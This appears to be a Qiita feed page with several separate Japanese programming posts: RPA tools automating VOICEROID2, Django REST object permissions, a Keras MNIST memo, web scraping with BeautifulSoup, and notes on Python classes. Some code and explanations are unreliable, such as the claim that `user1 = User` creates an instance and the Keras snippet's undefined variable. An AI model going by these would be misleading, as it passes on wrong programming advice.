            var dlgFileSave = dlgSaveWav.WaitForNextModal();
            NativeEdit editFileName = new NativeEdit(dlgFileSave.IdentifyFromZIndex(11, 0, 4, 0, 0));
            editFileName.EmulateChangeText(System.DateTime.Now.ToString("yyyymMMddhhmmss") + ".wav");

            NativeButton btnSaveOk = new NativeButton(dlgFileSave.IdentifyFromDialogId(1));
            btnSaveOk.EmulateClick(asyncSaveFile);

            // 情報ダイアログが表示されるまで待機してOKを押下
            var dlgInfo = WindowControl.WaitForIdentifyFromWindowText(app, "情報");
            NativeButton btn = new NativeButton(dlgInfo.IdentifyFromWindowText("OK"));
            btn.EmulateClick();


            //非同期で実行した保存ボタン押下の処理が完全に終了するのを待つ
            asyncSaveFile.WaitForCompletion();
            asyncSaveWin.WaitForCompletion();
            async.WaitForCompletion();


            // 葵ちゃんに切り替えてしゃべる
            // UIAutomationだと葵ちゃん切り替えが行えない。
            WPFListView ListView = new WPFListView(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 3, 0, 1, 0, 2));
            ListView.EmulateChangeSelectedIndex(1);
            txtMessage.EmulateChangeText("オネエチャンカワイイヤッタ");
            btnPlay.EmulateClick();
            ListView.EmulateChangeSelectedIndex(0);

        }
    }
}

備考

・基本的にIdentifyFromLogicalTreeIdxで取得している要素はTestAssistantで取得しています。

・引数なしのEmulateClickで制御がおわるまでかえってこないボタンについてはAsyncをわたして、最後でWaitForCompletion()を実行して終了を待っています。

・UIAutomationでもWinAppDriverでも取れないタブの中身を取得できるため、葵ちゃんに切り替えてしゃべってもらっています。

PyAutoGUIでアカネチャンカワイイヤッター

Pythonで自動操作を行えます。
いままでのツールやライブラリと違い、PyAutoGuiはMacやUnixでも動作するので複数のOSで同じ操作をする場合に有効になると想定されます。

PyAutoGUIによる実装

https://github.com/mima3/rpa_akanechan/tree/master/PyAutoGui

import time
import pyautogui
import pyperclip
import datetime

# クリップボードを経由する場合
# http://sagantaf.hatenablog.com/entry/2017/10/18/231750
def copipe(string):
    pyperclip.copy(string)
    pyautogui.hotkey('ctrl', 'v')

# 指定の画像が表示されるまで待つ
def waitPicture(f):
    print(f)
    ret = None
    while ret is None:
        ret = pyautogui.locateOnScreen(f, grayscale=False, confidence=.8)
        print (ret)
        if ret is not None:
            return ret
        time.sleep(1)

mainButtons = pyautogui.locateOnScreen('mainbutton.bmp', grayscale=False, confidence=.8)
if mainButtons is None:
    print (u'VOICEROID2の再生ボタンが見つかりません')
    exit()

# テキスト選択
pyautogui.click(mainButtons[0] + 30, mainButtons[1] )

# テキストのクリア
pyautogui.hotkey('ctrl', 'a')
pyautogui.press('del')

# テキストの設定
copipe(u'アカネチャンカワイイヤッタ')

# 再生
pyautogui.click(mainButtons[0], mainButtons[1] + mainButtons[3] / 2 )

# 読み上げまで待機
time.sleep(0.5)
waitPicture('status.bmp')

# 音声の保存
pyautogui.click(mainButtons[0] +  mainButtons[2], mainButtons[1] + mainButtons[3] / 2 )

wavSave = waitPicture('wavSave.bmp')
pyautogui.click(wavSave[0] + 5, wavSave[1] + wavSave[3] / 2 )

# ファイルの保存
fileSave = waitPicture('fileSave.bmp')
pyautogui.click(fileSave[0], fileSave[1])
copipe(datetime.datetime.now().strftime("%Y%m%d%H%M%S.wav"))
pyautogui.press('enter')

# 情報ダイアログ
info = waitPicture('info.bmp')
pyautogui.click(info[0] + info[2], info[1] + info[3])

# 葵ちゃんしゃべる
time.sleep(0.5)
aoi = pyautogui.locateOnScreen('aoi.bmp', grayscale=False, confidence=.8)
pyautogui.click(aoi[0], aoi[1])

# テキスト設定
pyautogui.click(mainButtons[0] + 30, mainButtons[1] )
pyautogui.hotkey('ctrl', 'a')
pyautogui.press('del')
copipe(u'オネエチャンカワイイヤッタ')
pyautogui.click(mainButtons[0], mainButtons[1] + mainButtons[3] / 2 )

# 茜ちゃんに戻す
akane = pyautogui.locateOnScreen('akane.bmp', grayscale=False, confidence=.8)
pyautogui.click(akane[0], akane[1])

解説

・キーボード操作処理で日本語入力に対応していないため、pyperclipを使用してクリップボード経由で文字を設定しています。クリップボードの内容が重大な場合のシナリオについて留意してください。

・locateOnScreenで画像認識をしており、その精度はconfidenceパラメータにより制御しています。画像が認識しずらい場合、この値を下げてみてください。

・あくまで画像認識なので、実行前に対象のコントロールが隠れていたりしないことを確認してから実行してください。他にも解像度の変更やウィンドウサイズや位置の違いで簡単に動かなくなります。

・マルチディスプレイの場合、1つめのディスプレイに操作対象のウィンドウがないと動作しないです。

UWSCでアカネチャンカワイイヤッター

image.png

10年以上前から存在するツールです。
レコード機能が強力でAutoHotKeyやAutoItでは認識しないような画面の要素を検出できます。
また、画像認識などの機能そろっており、おそらく、もっとも使いやすいツールの一つでした。

残念なことに、2018年ころよりサイトが閉鎖されてしまい、今後使用することはできないでしょう。

UWSCによる実装

https://github.com/mima3/rpa_akanechan/tree/master/UWSC

id = GETID("VOICEROID2", "HwndWrapper[VoiceroidEdito", -1)
If id=NULL Then
    id = GETID("VOICEROID2*", "HwndWrapper[VoiceroidEdito", -1)
EndIf

// 再生を行う
SLEEP(1)
SENDSTR(id, "アカネチャンカワイイヤッタ", 1, True, True)

CLKITEM(id, "", CLK_BTN , True, 0)

// ステータスバーをみて再生完了を待つ
sts = ""
While sts <> "テキストの読み上げは完了しました。"
    Sleep(0.1)
    GETITEM(id, ITM_STATUSBAR)
    sts = ALL_ITEM_LIST[6]
Wend

// 保存ボタン
CLKITEM(id, "", CLK_BTN , True, 5)

// 音声保存画面
idSaveWv = GETID("音声保存", "HwndWrapper[VoiceroidEdito", -1)
CLKITEM(idSaveWv, "OK", CLK_BTN , True, 0)

// 名前を付けて保存画面
idFileSave = GETID("名前を付けて保存", "#32770", -1)
SENDSTR(idFileSave, PARAM_STR[0], 0, True, True)
KBD(VK_ENTER)
//CLKITEM(idFileSave, "保存", CLK_ACC)

// OK押下
idInfo = GETID("情報", "#32770", -1)
CLKITEM(idInfo, "OK", CLK_BTN)

// 葵ちゃんに切り替え
SLEEP(1)
ret = CHKIMG("aoi.bmp")
BTN(LEFT, CLICK, G_IMG_X, G_IMG_Y)
SLEEP(0.5)
SENDSTR(id, "オネエチャンカワイイヤッタ", 1, True, True)
CLKITEM(id, "", CLK_BTN , True, 0)

SLEEP(0.5)
CHKIMG("akane.bmp")
BTN(LEFT, CLICK, G_IMG_X, G_IMG_Y)

備考

・Tabの要素は取得できませんが、画像認識により代替できます。

・レコーダ―では記録されない要素がありますが、スクリプトを書くと要素を取得できます。

・CHKIMGはBMP形式のみが対象です。

・サイト閉鎖の問題もあり今後利用するのは厳しいでしょう。

sikulixでアカネチャンカワイイヤッター

画像認識に特化したツールです。
Ruby,Python,JavaScriptで記載されたスクリプトをJavaで解析して動作します。
基本がJavaなのでMacやLinuxでも動作します。ただし1.1.4よりJavaの64ビットが要求されています。

下記がIDEになります。
image.png

UWSC,pyAutoGuiともに画像認識は行えますが、使用する画像はあらかじめ用意する必要がありました。しかしsikulixでは、必要な際にディスクトップ全体から切り取って使用できます。

また画像のどこをクリックするかという指定もGUI上で行えます。
image.png

操作記録の機能こそないものの、直観的に作成できる貴重なツールです。

sikulixの実装

https://github.com/mima3/rpa_akanechan/tree/master/sikulix/sikulix.sikuli

import datetime
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
#マルチディスプレイの場合は、1のディスプレイじゃないと動かない模様

# 茜ちゃんしゃべる
click(Pattern("1558790034069.png").targetOffset(-174,-16))
type('a', Key.CTRL)
type(Key.DELETE)
paste(u"アカネチャンカワイイヤッタ")

click(Pattern("1558790034069.png").targetOffset(-162,14))
wait(2)

wait("1558790542060.png")
click(Pattern("1558790034069.png").targetOffset(121,16))

# 音声保存画面
click(Pattern("1558790796902.png").targetOffset(-39,2))

# 名前を付けて保存
click(Pattern("1558790905402.png").targetOffset(-45,-35))
type('a', Key.CTRL)
type(Key.DELETE)
paste(datetime.datetime.now().strftime("%Y%m%d%H%M%S.wav"))
type(Key.ENTER)
click(Pattern("1558790905402.png").targetOffset(-41,38))

# 情報のOKボタンクリック
click(Pattern("1558791076872.png").targetOffset(87,50))

# 消えるまでまつ
# 時間が読めない場合はregionとってexistsで消えるまで見る
wait(1)

# 葵ちゃん
click("1558791449664.png")
click(Pattern("1558790034069.png").targetOffset(-174,-16))
type('a', Key.CTRL)
type(Key.DELETE)
paste(u"オネエチャンカワイイヤッタ")

click(Pattern("1558790034069.png").targetOffset(-162,14))
wait(2)

click("1558791495218.png")

備考

・画像ファイル名になっている箇所はIDE上は画像が表示されます。またtargetOffsetについては赤い十字で表現されます。

・今回ためしたsikuliのバージョンは1.1.4で、使用しているPythonはJythonで2.7になります。また、Javaに組み込んでいるため、通常のPythonより使い勝手がわるい可能性があります。
 先に紹介したpyAutoGuiとの使い分けとしてはPythonでどの程度やらせるかが、一つの基準になるでしょう。

・マルチディスプレイの場合、1つめのディスプレイにないと動作しません。

・画像認識を使用しているのでウィンドウが隠れたりすると正常に動作しません。

・下記のコードは日本語を表示するためのものです。

import sys
reload(sys)
sys.setdefaultencoding('utf-8')

Rocket Mouose Proでアカネチャンカワイイヤッター

古くからあるツールで、1万円前後で入手できます。今回は14日使える試用版で作成しました。
いままで紹介したツールと違い、スクリプトなどは記載しません。

以下のように処理をGUIで列挙していく形になります。
image.png

このため、単純な処理は容易に作成できますが、複雑な分岐がある場合は対応できません。

Rocket Mouose Proによる実装と解説

https://github.com/mima3/rpa_akanechan/tree/master/rmpro

Rocket Mouseでは「最初の処理」、「繰り返しの処理」、「最後の処理」の3つありますが、今回は「最初の処理」と「最後の処理」のみ使用します。
また、最後の処理につては完了メッセージを表示するだけになります。

最初の処理1行目
image.png

image.png

テキストと再生ボタンの画像認識を行い、認識できた場合はテキストをクリックします。
認識できなければ「最期の処理の1行目」にジャンプし処理を終了します。

最初の処理2~4行目
image.png

この処理はキーボード操作でテキストをクリアしたのち、入力したい文字を入れています。

最初の処理5行目
image.png
image.png
これは最初の処理1行目とほぼ同じで押下している箇所が違うだけです。
今回は再生ボタンをおしています。

最初の処理6行目
image.png
image.png
この処理は「テキストを読み上げました」と表示されるまで無限ループをしています。

最初の処理7行目
ショートカットキーで音声保存をしています。

最初の処理8行目
image.png
「音声保存」というタイトルのウィンドウが表示されるまで待機します。

最初の処理9行目
image.png
image.png

OKボタンが表示されたらクリックする、されなければ終了としています。

最初の処理10行目
最初の処理8行目と同様に「名前を付けて保存」画面がでるまで待ちます。

最初の処理11行目
image.png

時刻を取得して書式を整えたあと、変数$now$に格納します。

最初の処理12~13
ファイル名に格納した変数$now$を設定後Enterを押します。
これにより名前を付けて保存ダイアログが終了します。

最初の処理14~15
「情報」というウィンドウが表示されるまでまち、表示されたらEnterを押して終了します。

最初の処理16~
あとは今まで出た内容と同じように、葵ちゃんを画像認識で選択後、しゃべらせています。

備考

・マルチディスプレイの場合、1つめのディスプレイにないと動作しません。

・また、条件分岐の制約上エラー処理に弱いです。たとえば、画像が見つからない場合に無限ループになったりします。

UiPathでアカネチャンカワイイヤッター

2018年のforresterの調査でRPAのリーダーと言わしめた製品になっています。
https://samfundsdesign.dk/siteassets/media/downloads/pdf/the_forrester_wave_rpa_2018_uipath_rpa_leader.pdf

今回の走者のなかで、唯一、数十、数百万のツールですが、実はいくつかの条件をみたすことで UiPath Community Editionを使用することができます。
https://www.uipath.com/ja/freetrial-or-community

今まで見てきたオブジェクト識別機能、画像による識別機能、操作記録は当然そろっており、フローチャートによるわかりやすいインターフェイスを提供しています。これは.NETのWFを使用しており、流れ図の部品にあたるアクティビティをカスタムアクティビティとして作成できます。
https://qiita.com/UmegayaRollcake/items/c9ff9a01b101ba9193fc

また、さらには国内製品唯一のアドバンテージだった日本語のローカライズも対応されています。
さすが、リーダーを自称し、他称されるだけの機能です。

UiStudioの起動

ライセンス認証をしたあとのUiPath.Studioの場所は以下になりました。
 C:\Users\名前\AppData\Local\UiPath\

プロジェクト

今回作成したプロジェクトのファイルは下記の通りです。
https://github.com/mima3/rpa_akanechan/tree/master/UiPathSample

image.png

シーケンスの中に「しゃべる+保存」アクティビティと「葵ちゃんに切り替え」アクティビティがあります。

しゃべる~保存アクティビティ

各UIの操作をひとつづ追加していくこともできますし、画面の操作をレコードしてあとで細かいところを修正することもできます。

変数の設定

シーケンス内で有効、アクティビティ内で有効といったスコープを極めて変数を定義できます。
image.png

設定値ではVB.NETの式が使用でき、今回は現在時刻のファイル名を構築してます。

処理の流れ

・テキストを入力して再生~完了まで
image.png

・音声保存
image.png

あかねちゃんに切り替えアクティビティ

UIPathでもタブの子要素になっている要素を検知することはできないので画像識別を利用します。
image.png

完走した感想

完走した感想ですが、色々と昔のツールが脱落して新規ツールが増えていきました。
まず、昔ながらのツールであるAutoHotKey,AutoIt,RocketMoude、UWSCのうち、UIAutomationでとれる内容を解析することができたのはUWSCだけでした。そしてそのUWSCもすでに命数が尽きています。
(もちろんCOMをサポートしているツールは頑張れば対応できますが、それをやるなら別の手段をとると思います。)
もはやWin32の時代でないと思うと諸行無常を感じます。

また、テスト工程で使うなら、Friendlyが魅力的です。テスト対象をかえずに、テスト用に魔改造が色々できそうです。

複数OS対応ならば、画像の範囲を工夫してSikulixか、pyAutoGuiを検討することになると思います。ただし、画像認識なのでいずれにしても、確実に動作させるのは難しいでしょう。

IT活用しない縛りのレギュレーションの会社ではVBAかPowerShellでUIAutomationをたたくしかないです。

UIPathについては他の高価格帯と比較しないと意味がなさそうなので、ここでは言及しないでおきますが、たぶん触っておいて損はないと思います。

…とここまでやっておいて書くのもアレですが、VBAやPowerShellで動かすのをRPAといっていいのか、そもそもRPAって一体全体なんですか、どなたに伺えばいいんですかという話になりそうなので、そろそろ終わりとうございます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Django REST frameworkチュートリアル その4.1

Object level permissions

前回の記事「Django REST frameworkチュートリアル その4」の続きです。
前回の記事では認証処理を実装しましたが、その課題として以下のものがありました。

トークンを持っていれば他の人のユーザー情報やスニペットの中身を書き換えることができてしまいます。変更や削除などのリクエストを送った人がそのデータのオーナーなのかをチェックしたいです。

はい。ということで、リクエストを送った人が編集したいデータのオーナーであるかのチェックをしたいと思います。

permissions.py

自分でカスタムのパーミッションを作成する際には、BasePermissionを継承してhas_object_permission()メソッドをオーバーライドします。

新規でpermissions.pyを作成して、カスタムパーミッションを実装してみましょう。

snippets/permissions.py
from rest_framework import permissions


class IsOwnerOrReadOnly(permissions.BasePermission):
    """
    Custom permission to only allow owners of an object to edit it.
    """
    def has_object_permission(self, request, view, obj):
        # Read permissions are allowed to any request,
        # so we'll always allow GET, HEAD or OPTIONS requests.
        if request.method in permissions.SAFE_METHODS:
            return True

        # Write permissions are only allowed to the owner of the snippet.
        return obj.owner == request.user

コメントにある通り、GETHEADOPTIONSメソッドなどの安全なリクエストは誰でも取得できますが、他のメソッドについては、リクエストを送った人とオブジェクトのオーナーが同じでないと認証が通りません。

views.py

あとはviews.pypermission_classesに上で作ったクラスを設定してあげるだけです。

snippets/views.py
from rest_framework.response import Response
from snippets.models import Snippet
from snippets.serializers import SnippetSerializer, UserSerializer
from snippets.permissions import IsOwnerOrReadOnly
from django.contrib.auth.models import User
from rest_framework import generics, permissions


class SnippetList(generics.ListCreateAPIView):
    permission_classes = [permissions.IsAuthenticatedOrReadOnly]
    queryset = Snippet.objects.all()
    serializer_class = SnippetSerializer


class SnippetDetail(generics.RetrieveUpdateDestroyAPIView):
    permission_classes = [IsOwnerOrReadOnly]
    queryset = Snippet.objects.all()
    serializer_class = SnippetSerializer


class UserList(generics.ListCreateAPIView):
    permission_classes = [permissions.AllowAny]
    queryset = User.objects.all()
    serializer_class = UserSerializer


class UserDetails(generics.RetrieveUpdateDestroyAPIView):
    permission_classes = [IsOwnerOrReadOnly]
    queryset = User.objects.all()
    serializer_class = UserSerializer

テスト

あらかじめユーザーを2名以上作成しておきましょう。
以下のコードでそれぞれのユーザーでアクセストークンを取得します。

curl -X POST -d "grant_type=password&username=<user_name>&password=<password>" -u"<client_id>:<client_secret>" http://localhost:8000/oauth2/token/

そしてあるスニペットに対して2人のアクセストークンでそれぞれリクエストを送ってみてください。

curl -X PATCH -H 'Content-Type:application/json' -H "Authorization: Bearer <your_access_token>" -d '{"code":"This is modified."}' http://localhost:8000/snippets/1/

そうするとスニペットのオーナーに対してはリクエストが通るのに対して、オーナーでないユーザーに対してはリクエストが拒否されるのが確認できるかと思います。

以上でオーナーのチェックは完了です。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

kerasに触ってみた【備忘録】

はじめに

 最近画像分析に興味を持ち、検索するとkerasというライブラリがよく出てくる。どうせならちょっと使ってみようと思い、学習後にkerasの実装をしてみた。今回はそのkerasについて学習した証跡とその備忘録として下記に使用法と成果をまとめる。
 ライブラリについて、kerasは元々Theanoのラッパーであったが現在はTensorFlowをインストールするとkerasが使用できるようになった。現在の主流でもあるのでこちらの方を使用する。
(※TensorFlowとはGoogleが中心となって開発している機械学習のライブラリである。)

なぜkerasを使うのか

 ・TensorFlowよりもシンプルに扱うことが出来る。
 ・モデルの定義と学習、評価が容易に実装可能である。
 ・業務で広く扱われている為、今後の仕事で役立つ可能性がある。
 ・カーネルがいくつも公開されており、実践的に学習を続けることが出来る。

入門と動作確認

 画像認識の入門として、MNIST(手書き数字の画像データセット)で手書き文字の予測を行った。※下記に動作確認済みのコードを記す【備忘録】

 

  • ライブラリのインストール
import keras
import pandas as pd
import matplotlib.pyplot as plt
from keras.datasets import mnist
from keras.models import Sequential
from keras.layers import Dense, Dropout, BatchNormalization, Activation
from keras.optimizers import RMSprop
from keras.datasets import mnist

 

  • データの前処理
(x_train, y_train), (x_test, y_test) = mnist.load_data()
x_train = x_train.reshape(60000, 784)
x_test = x_test.reshape(10000, 784)

x_train = x_train.astype('float32')
x_test = x_test.astype('float32')

x_train /= 255
x_test /= 255

y_train = keras.utils.to_categorical(y_train, num_classes)
y_test = keras.utils.to_categorical(y_test, num_classes)

 
* 画像データの確認

for i in range(6):
  plt.subplot(2,3, i +1)
  plt.title("label: " + str(i))
  plt.imshow(x_train[i].reshape(28, 28))

y_train[:6]

スクリーンショット 2019-05-26 20.23.54.png

 

  • モデルの作成
model  = Sequential()
model.add(Dense(512, activation= 'relu', input_shape = (784,)))
model.add(Dropout(0.2))
model.add(Dense(512,activation= 'relu')) 
model.add(Dropout(0.2))
model.add(Dense(10, activation = 'softmax'))
model.summary()
model.compile(loss='categorical_crossentropy', optimizer=RMSprop(lr=0.001), metrics=['accuracy'])

 
スクリーンショット 2019-05-26 20.36.08.png

 

  • モデルの学習
history = model.fit(x_train, y_train
                   , batch_size = 128
                    , epochs = 115
                    , verbose = 1
                    , validation_data=(x_test, y_test))

 

  • 予測の実行

※作成したモデルをkaggleのdigit_recognizerのコンペのデータを使って評価してみる。

test = pd.read_csv("test.csv")
y_pred = model.predict(test)

result= [0]*28000

for y, item in enumerate(y_pred):
    for x, name in enumerate(item):
        if name == 1:
            result[y] = x
            break

print(result[0:12])

予測完了:
result[0:12] = スクリーンショット 2019-05-26 20.47.49.png

入門と動作確認完了! 

※しかし、ここまで行うとkaggleに結果を提出したくなる...

 
  
 

 

  • 実際に提出してみた
import numpy as np
imgid = np.array(np.arange(1,28001)).astype(int)
result = pd.DataFrame(result, imgid, columns = ["Label"])
result.index.name = "ImageId"
result.to_csv("result.csv")

提出結果:
スクリーンショット 2019-05-26 21.00.49.png

今回は少し下がったが、スコア:" 0.99757 " を記録した。

実践

 もう少し深いところまで知っておきたいと思い、kaggleのaerial cactus identificationというコンペティションをやってみる中で新たな知識を吸収してみる。

'''
モデル改修中
 2019.6末更新

 ・ 実践
 ・ プラスα
 ・ まとめ

以上
'''

 
 
 
〜続く〜

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Pythonで行うWebページスクレイピング

Pythonで機械学習を行おうと思った時にどうしても必要となる各種データ。それを集めるための手段の一つであるWebページからのスクレイピングを極簡単にやってみたいと思います。

1,目的

  • スクレイピングについての理解を深める
  • 実際のwebページからデータを取得してCSVファイルに保存する

2,スクレイピングとは?

Webページから特定のデータを抽出する技術

といっても、Webページをそのまま取得してデータベースやファイルに突っ込めば、そのままデータが得られるわけではありません。

ご存知の通り、Webページはお望みのデータだけでなく、各種タグやCSS、ものによってはJSなどが含まれており、そこから目的となるデータを取り出さなくてはなりません。

その為に必要なのが、Webページの構文解析になります。
これは読んで字のごとくなのですが、取得したWebページを解析し、任意の条件や要素を持つもののみ引っ張てくるという動作になります。

3,法律的な観点

スクレイピングはWebページの内容を抜き取っていくため、当然著作権的な事柄も気にする必要があります。

プログラミング言語やアルゴリズム自体は著作権保護の対象となっていませんが、ソースコード自体は著作権保護の対象となっていることと同様に、Webページの内容自体も著作権保護の対象となります。

しかしながら、基本的に個人で機械学習の為に利用する場合は(そのWebサイトの利用規約によりますが)ほぼ問題ないと言えます。
その根拠となるのが下記の法律になります。

著作権法第三十条の四

著作物は、次に掲げる場合その他の当該著作物に表現された思想又は感情を自ら享受し又は他人に享受させることを目的としない場合には、その必 要と認められる限度において、いずれの方法によるかを問わず、利用することが できる。ただし、当該著作物の種類及び用途並びに当該利用の態様に照らし著作 権者の利益を不当に害することとなる場合は、この限りでない。
一 著作物の録音、録画その他の利用に係る技術の開発又は実用化のための試験の用に供する場合
二 情報解析(多数の著作物その他の大量の情報から、当該情報を構成する言語、音、影像その他の要素に係る情報を抽出し、比較、分類その他の解析を行うことをいう。第四十七条の五第一項第二号において同じ。)の用に供する場合
三 前二号に掲げる場合のほか、著作物の表現についての人の知覚による認識を伴うことなく当該著作物を電子計算機による情報処理の過程における利用その他の利用(プログラムの著作物にあつては、当該著作物の電子計算機における実行を除く。)に供する場合

著作権情報センター

因みに上記条文は2019/1/1に改正され、以前と若干条文が変わりました。詳しいことは下記の文化庁のページをご覧ください
(http://www.bunka.go.jp/seisaku/chosakuken/hokaisei/h30_hokaisei/)

しかしながら、クローラーなどを用いたデータ収集では、警察等司法機関のリテラシーのなさや、対象システムの不具合などによる意図しない動作などによって面倒なことになる場合もあります。
岡崎市立中央図書館事件

避けようのないこともありますが、十分に注意してデータ収集を行うようにしましょう。

4,実際にやってみる

今回はこちらから任意の会社や株の銘柄のデータを取得した後、CSVファイルにデータを保存するようにします。

4-1,環境

  • python 3.6.8
  • BeautifulSoup 4.7.1
  • lxml 4.3.0
  • urllib3 1.24.1

4-2,ソース

scraping.py
import urllib
import csv
import os
from bs4 import BeautifulSoup

#対象のURLとcsvを保存するパスを指定
path = "filepath"
url ="url"

#csvファイルの書き込み準備
csv_file = open(path,'a', newline='', encoding='utf-8')
csv_write = csv.writer(csv_file)

#urlからhtmlを取得
html = urllib.request.urlopen(url)

#構文解析
soup = BeautifulSoup(html.read(),"lxml")

#構文解析したデータからtable要素でclass属性=stock_table stock_data_tableである部分を抽出
tables = soup.findAll("table", {"class":"stock_table stock_data_table"})


csv_header = []

#thead要素の中のth要素をfor文で取得していく
for head in tables[0].find_all(['thead'])[0].find_all(['th']):

  #csv_headerに抜き出したデータを格納
  csv_header.append(head.get_text())

#csvファイルに書き込み
csv_write.writerow(csv_header)

for table in tables:
  rows = table.find_all("tr")
  for row in rows:
      csv_data =[]
      for cell in row.find_all(['td']):
          csv_data.append(cell.get_text())

      #余計な空白を除去
      if any(csv_data):
        csv_write.writerow(csv_data)
csv_file.close()

4-3,解説

4-3-1,下準備

まずスクレイピングをする対象となるWebページがどういった形式なのかを知る必要があります。
対象の画面でCtrl+Uでソースを表示するとこのように記述されています。

source.html
<div class="data_contents">
<div class="data_block">
<div class="data_block_in">
<div class="table_wrap">
<table class="stock_table stock_data_table">
<thead>
<tr>
<th>日付</th>
<th>始値</th>
<th>高値</th>
<th>安値</th>
<th>終値</th>
<th>出来高</th>
<th>終値調整</th>
</tr>
</thead>
<tbody>
    <tr>
    <td>2019-05-24</td>
    <td>1489</td>
    <td>1489</td>
    <td>1485</td>
    <td>1485</td>
    <td>2</td>
    <td>1485</td>
    </tr>
</tbody>
    <tr>
    <td>2019-05-23</td>
    <td>1489</td>
    <td>1489</td>
    <td>1489</td>
    <td>1489</td>
.
.
.

対象となる株価のデータはtable要素のClass属性stock_table stock_data_tableにあるようです。
全体を見ると期間ごとに複数同じtableが用意されており、そのそれぞれにthead要素の見出しとtbodyが存在します。
これを頭に入れながらプログラムを組み立てる必要があるようです。

4-3-2,ライブラリ

次に下記のライブラリの使用を宣言します。

  • urllib…urlを扱うライブラリ
  • csv…csvファイルを扱う標準ライブラリ
  • os…今回はファイルを扱うために使用する標準ライブラリ
  • bs4…htmlの構文解釈ライブラリ

特にメインになるのがbs4ライブラリになります。
基本的にurllibで取得したwebページをbs4で構文解析し、csv,osを使ってファイルに書き込みます。

4-3-3,ソースコード

#csvファイルの書き込み準備
csv_file = open(path,'a', newline='', encoding='utf-8')
csv_write = csv.writer(csv_file)

#urlからhtmlを取得
html = urllib.request.urlopen(url)

#構文解析
soup = BeautifulSoup(html.read(),"lxml")

#構文解析したデータからtable要素でclass属性=stock_table stock_data_tableである部分を抽出
tables = soup.findAll("table", {"class":"stock_table stock_data_table"})

今回ここで一度こけたのですが、BeautifulSoupで構文解析をする際に、第二引数で渡しているのは構文解析をするためのパーサーの指定になります。
デフォルトで使えるパーサーに、html.parserがありますが、なぜかヒットしたはずの要素が途中で切れて取得されてしまいました。
パーサーによって解析の機能自体の差や処理速度などに差があるため、適切に処理できるパーサーを選択する必要があるようです。
今回は序盤でインストールしたlxmlを使用しています。

これで取り合えずは指定した条件でwebページからデータを抜き取れたのですが、さらに要素を指定していって必要な粒度まで下げます。
まずはtheadを抜き出します。

csv_header = []

#thead要素の中のth要素をfor文で取得していく
for head in tables[0].find_all(['thead'])[0].find_all(['th']):

  #csv_headerに抜き出したデータを格納
  csv_header.append(head.get_text())

#csvファイルに書き込み
csv_write.writerow(csv_header)

次は肝心のtbody要素を抜き出していきます。

for table in tables:
  rows = table.find_all("tr")
  for row in rows:
      csv_data =[]
      for cell in row.find_all(['td']):
          csv_data.append(cell.get_text())

      #余計な空白を除去
      if any(csv_data):
        csv_write.writerow(csv_data)
csv_file.close()

以上を実行してcsvファイルを生成します。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

pythonのインスタンスについて

pythonのインスタンス(instance)

(例)userの特徴を保存しておく場合

クラスを作成する(おすすめ)

以下のように名前,身長,体重,性別などをたくさんの人の情報を保持したい

"""
正しい書き方
"""
class User:
    def __init__(self, name, height):
        self.name = name
        self.height = height

インスタンスを生成する

mainで以下のように呼び出す事でインスタンス(instance)を生成できる
これはuser1というinstance(例という意味)を生成している

user1 = User #とりあえずインスタンスを生成
user1.name = "hoge" #後からname,heightを代入
user1.height = "foo"

user1 = User("hoge","foo") #あらかじめ代入可能

initを定義しているので

user1 = User("tarou","175")
user2 = User("hanako","140")

のように複数のインスタンスを作成する事ができる!!

クラスを生成する(微妙)

"""
あんまり良くない書き方
"""
class User:
    name = "hoge"
    height ="foo"

上記のように書くと

user1 = User
user2 = User

のように複数のインスタンスを生成した場合,変数を同期してしまう

つまり以下のようにuser1とuser2の名前の設定をしたのに

user1.name = "tarou"
user2.name = "hanako"

出力すると

print(user1.name)

>> hanako

hanakoが出力されてしまう

インスタンスやクラスを知ると便利なことが多いので基礎的な事に注意したい

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

pythonをストレスなく使う!(Pythonでは、すべてがオブジェクトとして実装されている)

目的

 pythonをストレスなく使う!
そのためには、少しでも、理解のレベルを上げる必要あり。
なんでも、こだわって、、、、理解を深める。

Pythonでは、すべてがオブジェクトとして実装されている

このタイトルを体現する。

その前に、念のため、書籍引用

  (出典:「入門 Python3」オライリー・ジャパン)

 Pythonでは、すべて(ブール値、整数、浮動小数点、文字列、もっと大きなデータ構造、関数、プログラム)がオブジェクトとして実装されている。

  (出典:「introducing Python」 O'Reilly Media,Inc)

 In Python, everything--booleans, integers, floats, strings, even large data structures, functions, and programs--is implemented as an object.

dir関数は、使えるメソッドが確認できる。
オブジェクトなら、、、、'Cat'や7や7.7もオブジェクトでしょう。
オブジェクトなら、メソッドもってるでしょう。
何ができるかdirで確認して、、、、

さーーーーっ!

>>> dir('Cat')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> 'Cat'.swapcase()
'cAT'
>>>
>>>
>>> dir(7.7)
